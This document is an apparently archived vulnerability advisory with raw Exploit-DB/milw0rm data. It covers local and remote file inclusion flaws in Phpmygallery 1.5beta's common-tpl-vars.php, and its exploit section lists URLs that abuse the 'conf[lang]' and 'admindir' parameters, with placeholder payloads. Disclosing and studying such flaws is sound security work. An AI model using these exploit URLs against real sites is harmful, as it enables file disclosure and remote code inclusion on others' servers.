Phpmygallery-1.5beta (common-tpl-vars.php) Multiple Local File Inclusion Vulnerabilities

vendor:

Phpmygallery

by:

CoBRa_21

7.5

CVSS

HIGH

Multiple Local File Inclusion Vulnerabilities

CWE

Product Name: Phpmygallery

Affected Version From: 1.5beta

Affected Version To: 1.5beta

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows

2008

Phpmygallery-1.5beta (common-tpl-vars.php) Multiple Local File Inclusion Vulnerabilities

The vulnerability is caused due to the use of user-supplied input in the 'conf[lang]' and 'admindir' parameters in '/_conf/_php-core/common-tpl-vars.php' script without proper sanitization. This can be exploited to include arbitrary local files by passing directory traversal strings to the 'conf[lang]' parameter and to include arbitrary remote files by passing a URL to the 'admindir' parameter.

Mitigation:

Input validation should be performed to ensure that untrusted data is not used to access local or remote files.

Source

Exploit-DB raw data:

*****************************************************************************************

Phpmygallery-1.5beta (common-tpl-vars.php) Multiple Local File Inclusion Vulnerabilities

*****************************************************************************************
 
Script Name: Phpmygallery
 
Version: 1.5beta
 
Autor: CoBRa_21
 
My Site: www.ipbul.org
 
Download: http://phpmygallery.kapierich.net/en/downloads/?dir=PHP/&getfile=PK_phpmygallery-1.5beta.zip
 
*****************************************************************************************
 
Exploit:
 
http://localhost/[PATH]/_conf/_php-core/common-tpl-vars.php?conf[lang]= [LFÄ°] (Windows Only)
http://localhost/[PATH]/_conf/_php-core/common-tpl-vars.php?admindir=[RFI]

*****************************************************************************************

Not: TÃ¼m Ä°slam Aleminin Kurban BayramÄ± Mobarek Olsun

*****************************************************************************************

# milw0rm.com [2008-12-09]